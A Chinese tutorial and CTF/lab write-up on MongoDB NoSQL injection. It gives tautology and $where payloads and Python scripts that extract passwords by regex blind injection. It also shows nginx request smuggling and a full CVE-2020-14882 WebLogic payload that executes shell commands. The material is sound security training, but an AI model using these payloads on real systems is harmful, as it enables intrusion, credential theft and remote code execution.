nosql的注入

一、SQL注入数据库分类

关系型数据库 mysql oracle sqlserver

非关系型数据库 key-value redis MongoDB(not only sql)

二、MongoDB环境搭建

自己官网下载

Download MongoDB Community Server | MongoDB

其中Mongod.exe是它的一个启动

加上数据库,就开始启动了,监听的端口27017端口 

 成功:

用mongosh连接一下

也可以自带的

 获取数据库 

建表插入两条数据

三、示例

3.1重言式注入

代码

 火狐访问一下,因为我们还没有传值

传一个试试

 那么这样查询有什么问题呢?因为源代码没任何过滤

当我输入变为这个

username[$ne]=1&password[$ne]=1

回显结果,很明显所有数据都出来了,查询password和username中不等于1的值

3.2联合查询注入(失效了,因为在mangodb低版本中,才可以实现)

mangodb也可以实现拼接

string query ="{ username: '" + $username + "', password: '" + $password + "' }"

那么攻击者使用以下语句便可查询所有文档

username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: '123456

3.3JavaScript注入

如下示例:

> db.users.find({ $where: "function(){return(this.username == 'whoami')}" })
{ "_id" : ObjectId("60fa9c80257f18542b68c4b9"), "username" : "whoami", "password" : "657260" }
>

由于使用了 `$where` 关键字,其后面的 JavaScript 将会被执行并返回 "whoami",然后将查询出 username 为 whoami 的数据。某些易受攻击的 PHP 应用程序在构建 MongoDB 查询时可能会直接插入未经过处理的用户输入,例如从变量中 `$userData` 获取查询条件:

测试一下:

代码

还是可以出来的

 MongoDB 2.4 之后 db 属性访问不到了,但我们应然可以构造万能密码。如果此时我们发送以下这几种数据:

username=1&password=1';return true//
或
username=1&password=1';return true;var a='1

全出来了

相当于在后台是

 结果就是根本没走到if判断里面

3.4布尔盲注

可以利用正则表达式正常登录

布尔盲注重点在于怎么逐个提取字符,如下所示,在已知一个用户名的情况下判断密码的长度:

username=admin&password[$regex]=.{4} 

脚本:

import requests
import stringpassword = ''
url = 'http://127.0.0.1/sqllabs/less-46/test.php'while True:for c in string.printable:if c not in ['*','+',',','?']:get_payload = '?username=admin&password[$regex]= ^%s' %(password + c)post_payload = {"username":"admin","password[$regex]" : '^' + password + c}# //json payloadjson_payload = """{"username":"admin","password":{"$regex":"^%s"}}""" % (password + c)r=requests.post(url=url,data=post_payload)if 'Login Success' in r.text:print("[+] %s" % (password + c))password += c

四、实操环境加练习

实验官网BurpSuite实操nosql环境:All labs | Web Security Academy

开始先随便输入

 

在这里我们进行抓包来看,很明显支持js数据传输,那我们尝试一下永真登录来看看情况 看来是有正则拦截了

转编码看一下

 呕吼登录了但没完全登录

再试试错误的

那就很明显是两种回显方式,那就可以去使用我们的布尔盲注

py代码:

import requests
import stringpassword = ''
url = 'http://node5.buuoj.cn:27849/login.php'while True:for c in string.printable:if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:# When the method is GETget_payload = '?username=admin&password[$regex]=^%s' % (password + c)# When the method is POSTpost_payload = {"username": "admin","password[$regex]": '^' + password + c}# When the method is POST with JSONjson_payload = """{"username":"admin", "password":{"\\u0024\\u0072\\u0065\\u0067\\u0065\\u0078":"^%s"}}""" % (password + c)headers = {'Content-Type': 'application/json'}r = requests.post(url=url, headers=headers, data=json_payload)    # 简单发送 json#r = requests.post(url=url, data=post_payload)if '但没完全登录' in r.content.decode():print("[+] %s" % (password + c))password += c

结果:

尝试读取flag但是这里提示在内网

 测试内网是由什么搭建的

apache.conf

/usr/local/apache/conf/apache.conf

nginx.conf

/usr/local/nginx/conf/nginx.conf

 

很明显是Nginx搭建 

当然抓包也是很清晰的

string(32) "/usr/local/nginx/conf/nginx.conf"
worker_processes  1;events {worker_connections  1024;
}http {include       mime.types;default_type  application/octet-stream;sendfile        on;#tcp_nopush     on;#keepalive_timeout  0;keepalive_timeout  65;server {listen       80;error_page 404 404.php;root /usr/local/nginx/html;index index.htm index.html index.php;location ~ \.php$ {root           /usr/local/nginx/html;fastcgi_pass   127.0.0.1:9000;fastcgi_index  index.php;fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;include        fastcgi_params;}}resolver 127.0.0.11 valid=0s ipv6=off;
resolver_timeout 10s;# weblogicserver {listen       80;server_name  weblogic;location / {proxy_set_header Host $host;set $backend weblogic;proxy_pass http://$backend:7001;}}
}

 

从代码中很明显可以看到一个事情,内网由host为weblogic服务,但是没有提供可SSRF的位置

Nginx使用的版本为1.17.6,而Nginx<1.17.7存在请求走私漏洞,因此进行尝试

使用如下载荷走私到 WebLogic Console的登录页面

GET /undefined HTTP/1.1
Host: node4.buuoj.cn:28946
Content-Length: 0
Transfer-Encoding: chunkedGET /console/login/LoginForm.jsp HTTP/1.1
Host: weblogic

py代码:

#-*- coding:utf-8 -*-
"""
@Author: lingchenwudiandexing
@contact: 3131579667@qq.com
@Time: 2024/2/27 1:24
@version: 1.0
"""
import socketsSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sSocket.connect(("node5.buuoj.cn", 27849))payload = b'GET /console/login/LoginForm.jsp HTTP/1.1\r\nHost: node5.buuoj.cn\r\n\r\n'
sSocket.send(payload)
sSocket.settimeout(5)response = sSocket.recv(4096).decode("utf-8")
version_index = response.find("WebLogic")
if version_index != -1:version_info = response[version_index:version_index+50]print("WebLogic version:", version_info)
else:print("WebLogic version not found in response.")sSocket.close()

得到weblogic版本为12.2.1.4.0,这个版本正好在 CVE-2020-14882 的范围内,使用CVE-2020-14882,%252e%252e绕过登录直接打

import socketsSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sSocket.connect(("node4.buuoj.cn", 25369))
payload = b'HEAD / HTTP/1.1\r\nHost: node4.buuoj.cn\r\n\r\nGET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt(); HTTP/1.1\r\nHost:weblogic\r\ncmd: /readflag\r\n\r\n'
#payload = b'GET /a HTTP/1.1\r\nHost: node3.buuoj.cn\r\nContent-Length: 66\r\n\r\nGET /console/login/LoginForm.jsp HTTP/1.1\r\nHost: weblogic\r\n\r\n'
sSocket.send(payload)
sSocket.settimeout(2)
response = sSocket.recv(2147483647)
while len(response) > 0:print(response.decode())try:response = sSocket.recv(2147483647)except:break
sSocket.close()

 

成功flag{1c567898-360f-4557-8688-1f06498c853c} 

四、BurpSuite自带nosql实验

入门级:

4.1环境地址

Login - PortSwigger

4.2环境页面

 抓包看一下跳转

很明显这里登录条件还是以js的一个文件来登录

 看一下解决实验要求

我们先尝试一下永真登录很明显进行了一个302的跳转,说明一件事情我们登录成功了,一般登录成功后才会进行跳转

 那么永真查询出现了,我们可不可以试试.*看看正则表达式查询可以吗

那如果两个都为空了

 

为什么会出现500的问题呢????因为我们查出来的数据太多了,所以这里会出现500的问题,总之可以实现万能查询以及正则查询

那我们试一下admin出现302跳转说明admin确实可以成功登录

 可以见得我们已经登录成功了

中等级:

利用nosql注入提取数据

还是一样的去抓包看请求

登录不是js的登录了而是一个正常的登录

winner有可能发到js里面去进行一个查询

 加个'让它闭合很明显有报错,很明显放入js去进行执行了

用js的&&符去进行尝试 

很明显ok了

那我们找一下这个页面有没有password这个元素

很明显是有password这个元素的

 那我们先判断长度(一个一个去试),很明显我试出来是8位

之后我们便可以一位一位去测试了,先发送到报错模块里面

 去爆破字段从第0位开始

 开始调设置

 

最后爆破结果,因为我这里用的是社区版多少有点问题????

高等级: 

还是js格式

 试试永真登录吧

很明显可以但是用户被锁定了需要我们重置密码

去试试吧

告诉我们需要点击邮件

 小技巧where代入js

js中有一个小技巧Object.keys可以带出来我们的所有的名称,看有没有toock

利用正则去匹配一下吧

同样的方法区测试

很明显匹配第一个字母是username

试试第二个吧,匹配出来是password

试试第三个,email

试试第四个,forgotPwd

很明显第四个有用,我们去刚才页面找 

看一下token是不是在里面放着

回显是有无效的token很明显是放着

 继续爆破一下token值22608f771e80af91

这样就可以重新获取密码了

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/708019.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

本届挑战赛亚军方案:面向微服务架构系统中无标注、多模态运维数据的异常检测、根因定位与可解释性分析

CheerX团队来自于南瑞研究院系统平台研发中心&#xff0c;中心主要从事NUSP电力自动化通用软件平台的关键技术研究与软件研发。 选题分析 图1 研究现状 本次CheerX团队的选题紧密贴合了目前的运维现状。实际运维中存在多种问题导致运维系统的不可用。比如故障发生时&#xff…

[设计模式Java实现附plantuml源码~行为型] 对象状态及其转换——状态模式

前言&#xff1a; 为什么之前写过Golang 版的设计模式&#xff0c;还在重新写Java 版&#xff1f; 答&#xff1a;因为对于我而言&#xff0c;当然也希望对正在学习的大伙有帮助。Java作为一门纯面向对象的语言&#xff0c;更适合用于学习设计模式。 为什么类图要附上uml 因为很…

基于JAVAEE+Eclipse+Tomcat+Mysql开发的的停车场管理系统

基于JAVAEEEclipseTomcatMysql开发的的停车场管理系统 项目介绍&#x1f481;&#x1f3fb; 如今&#xff0c;我国现代化发展迅速&#xff0c;人口比例急剧上升&#xff0c;在一些大型的商场&#xff0c;显得就格外拥挤&#xff0c;私家车的数量越来越多&#xff0c;商场停车难…

【深度学习】Pytorch 教程(十四):PyTorch数据结构:6、数据集(Dataset)与数据加载器(DataLoader):自定义鸢尾花数据类

文章目录 一、前言二、实验环境三、PyTorch数据结构1、Tensor&#xff08;张量&#xff09;1. 维度&#xff08;Dimensions&#xff09;2. 数据类型&#xff08;Data Types&#xff09;3. GPU加速&#xff08;GPU Acceleration&#xff09; 2、张量的数学运算1. 向量运算2. 矩阵…

高性能图表组件LightningChart .NET v11.0发布——增强DPI感知能力

LightningChart完全由GPU加速&#xff0c;并且性能经过优化&#xff0c;可用于实时显示海量数据-超过10亿个数据点。 LightningChart包括广泛的2D&#xff0c;高级3D&#xff0c;Polar&#xff0c;Smith&#xff0c;3D饼/甜甜圈&#xff0c;地理地图和GIS图表以及适用于科学&am…

华为---RSTP(四)---RSTP的保护功能简介和示例配置

目录 1. 技术背景 2. RSTP的保护功能 3. BPDU保护机制原理和配置命令 3.1 BPDU保护机制原理 3.2 BPDU保护机制配置命令 3.3 BPDU保护机制配置步骤 4. 根保护机制原理和配置命令 4.1 根保护机制原理 4.2 根保护机制配置命令 4.3 根保护机制配置步骤 5. 环路保护机…

php基础学习之错误处理(其二)

在实际应用中&#xff0c;开发者当然不希望把自己开发的程序的错误暴露给用户&#xff0c;一方面会动摇客户对己方的信心&#xff0c;另一方面容易被攻击者抓住漏洞实施攻击&#xff0c;同时开发者本身需要及时收集错误&#xff0c;因此需要合理的设置错误显示与记录错误日志 一…

Linux笔记--用户与用户组

Linux系统是一个多用户多任务的操作系统&#xff0c;任何一个要使用系统资源的用户&#xff0c;都必须首先向系统管理员(root)申请一个账号&#xff0c;然后以这个账号的身份进入系统。 用户的账号一方面可以帮助系统管理员对使用系统的用户进行跟踪&#xff0c;并控制他们对系…

3D数字孪生

数字孪生&#xff08;Digital Twin&#xff09;是物理对象、流程或系统的虚拟复制品&#xff0c;用于监控、分析和优化现实世界的对应物。 这些数字孪生在制造、工程和城市规划等领域变得越来越重要&#xff0c;因为它们使我们能够在现实世界中实施改变之前模拟和测试不同的场景…

从业务角度出发,实现UniApp二次开发的最佳实践

UniApp作为一款跨平台的移动应用开发框架&#xff0c;为开发者提供了在多个平台上构建应用的便利性。在这篇文章中&#xff0c;我们将深入探讨UniApp的二次开发&#xff0c;以及如何通过定制化来满足你的独特需求。 1.了解UniApp基础 1.1项目结构和文件 熟悉UniApp的项目结构…

动态规划(题目提升)

[NOIP2012 普及组] 摆花 方法一&#xff1a;记忆化搜索 何为记忆化搜素&#xff1a;就是使用递归函数对每次得到的结果进行保存&#xff0c;下次遇到就直接输出即可 那么这个题目使用递归&#xff08;DFS&#xff09;是怎样的&#xff1f; 首先我们需要搞清楚几个坑点&#x…

C/C++语言文字小游戏(荒岛求生)

游戏背景 玩家在荒岛上&#xff0c;需要寻找食物、水源、避难所等资源来生存。 玩家需要避免危险&#xff0c;如野兽、植物、天气等&#xff0c;否则会失去血量或生命。 玩家可以在荒岛上遇到其他生存者&#xff0c;可以选择合作或对抗。 游戏目标是生存一定时间或找到生存的出…

Javaweb之SpringBootWeb案例之 Bean管理的第三方Bean的详细解析

2.3 第三方Bean 学习完bean的获取、bean的作用域之后&#xff0c;接下来我们再来学习第三方bean的配置。 之前我们所配置的bean&#xff0c;像controller、service&#xff0c;dao三层体系下编写的类&#xff0c;这些类都是我们在项目当中自己定义的类(自定义类)。当我们要声…

将任何网页变成桌面应用,全平台支持 | 开源日报 No.184

tw93/Pake Stars: 20.9k License: MIT Pake 是利用 Rust 轻松构建轻量级多端桌面应用的工具。 与 Electron 包大小相比几乎小了 20 倍&#xff08;约 5M&#xff01;&#xff09;使用 Rust Tauri&#xff0c;Pake 比基于 JS 的框架更轻量和更快内置功能包括快捷方式传递、沉浸…

小程序中使用echarts地图

一、下载并安装echarts 1、下载echarts-for-weixin组件 echarts-for-weixin项目提供了一个小程序组件&#xff0c;用这种方式可以在小程序中方便地使用 ECharts。 下载ec-canvas项目&#xff08;下载地址&#xff09; ​​ 注意&#xff1a;下载的 ec-canvas 中的echarts的版本…

【Linux】协程简介

【Linux】协程简介 一、什么是协程&#xff1f;简介优点 二、为什么使用协程&#xff1f;三、协程的种类1、对称协程2、非对称协程 四、协程栈1、静态栈2、分段栈3、共享栈4、虚拟内存栈 五、协程调度1、栈式调度2、星切调度3、环切调度 六、常见协程库参考文献 一、什么是协程…

机器学习 | 模型评估和选择 各种评估指标总结——错误率精度-查准率查全率-真正例率假正例率 PR曲线ROC曲线

文章目录 1. 如何产生训练集和测试集呢&#xff1f;1.1 留出法1.2 K折交叉验证法1.3 自助法 2. 模型评估指标2.1 错误率和精度2.2 查准率和查全率与F12.2.1 PR曲线及其绘制 2.3 正例率和假例率2.3.1 ROC曲线图绘制及AUC 3 假设检验 1. 如何产生训练集和测试集呢&#xff1f; 1…

【ACW 服务端】k8s部署

k8s部署 --- apiVersion: apps/v1 kind: Deployment metadata:annotations:k8s.kuboard.cn/displayName: 【wu-smart-acw-server】后台服务端labels:k8s.kuboard.cn/layer: svck8s.kuboard.cn/name: wu-smart-acw-servername: wu-smart-acw-servernamespace: defaultresourceV…

记autodl跑模型GPU CPU利用率骤变为0问题

目录 问题 解决 问题 实验室服务器资源紧张&#xff0c;博主就自己在autodl上租卡跑了&#xff0c;autodl有一个网络共享存储&#xff0c;可挂载至同一地区的不同实例中&#xff0c;当我们在该地区创建实例开机后&#xff0c;将会挂载文件存储至实例的/root/autodl-fs目录…

韩国量子之梦:将量子计算纳入新增长 4.0战略

内容来源&#xff1a;量子前哨&#xff08;ID&#xff1a;Qforepost&#xff09; 编辑丨王珩 编译/排版丨沛贤 深度好文&#xff1a;1500字丨9分钟阅读 据《朝鲜邮报》报道&#xff0c;韩国将推出由量子计算加速的云服务&#xff0c;并在首尔地区启动城市空中交通的试飞&…